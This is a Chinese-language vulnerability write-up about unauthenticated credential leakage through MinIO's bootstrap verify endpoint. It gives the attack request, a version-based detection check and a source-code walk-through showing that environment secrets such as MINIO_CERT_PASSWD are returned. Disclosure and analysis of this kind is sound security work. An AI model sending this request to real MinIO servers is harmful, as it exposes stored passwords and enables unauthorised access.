MinIO verify 接口敏感信息泄露漏洞
简介
漏洞描述: MinIO 是一种开源的对象存储服务,它兼容 Amazon S3 API,可以在私有云或公有云中使用。MinIO 是一种高性能、高可用性的分布式存储系统,它可以存储大量数据,并提供对数据的高速读写能力。MinIO 采用分布式架构,可以在多个节点上运行,从而实现数据的分布式存储和处理。
影响范围: MinIO verify接口存在敏感信息泄漏漏洞,攻击者通过构造特殊URL地址,读取系统敏感信息。
漏洞攻击载荷
POST /minio/bootstrap/v1/verify HTTP/1.1
漏洞检测方法
HTTP请求:
GET /api/v1/check-version
HTTP响应:
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Date: Fri, 24 Mar 2023 06:26:01 GMT
Server: MinIO Console
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Content-Length: 69
{
"latest_version": "minio/minio:RELEASE.2023-03-22T06-36-24Z"
}
当latest_version的value<RELEASE.2023-03-20T20-16-18Z,则存在漏洞。
漏洞代码分析
首先根据攻击载荷,咱们看到在调用bootstrap。根据main.go中的加载模块得知代码逻辑在minio/cmd中。
紧接着通过查看应用路由得知,存在漏洞的文件为bootstrap-peer-server.go。
在文件中找到哪里能接受HTTP请求,接受HTTP请求的方法只有两个,
分别在Line130与Line132。
通过攻击载荷之中的verify得知,我们入口在Line132。咱们看下程序在入口做了什么?
Line133,代码新建上下文对象,用于传递HTTP请求和响应。
Line135,用于输出错误日志。
Line134作为则是获取服务器系统配置。
接下来,需要查看getServerSystemCfg()做了些什么。在getServerSystemCfg()方法中获取了环境变量,其中envValues采用遍历的方式获取了skipEnvs[envK]的value。
skipEnvs中包含什么?其中包含MINIO_CERT_PASSWD等敏感信息
MINIO_CERT_PASSWD的值来源于buildscripts\upgrade-tests\minio.env,minio.env之中明文存储着账号密码信息。
最终由于在逻辑上无认证,导致了未授权访问漏洞。
版权归原作者 超酸柠檬 所有, 如有侵权,请联系我们删除。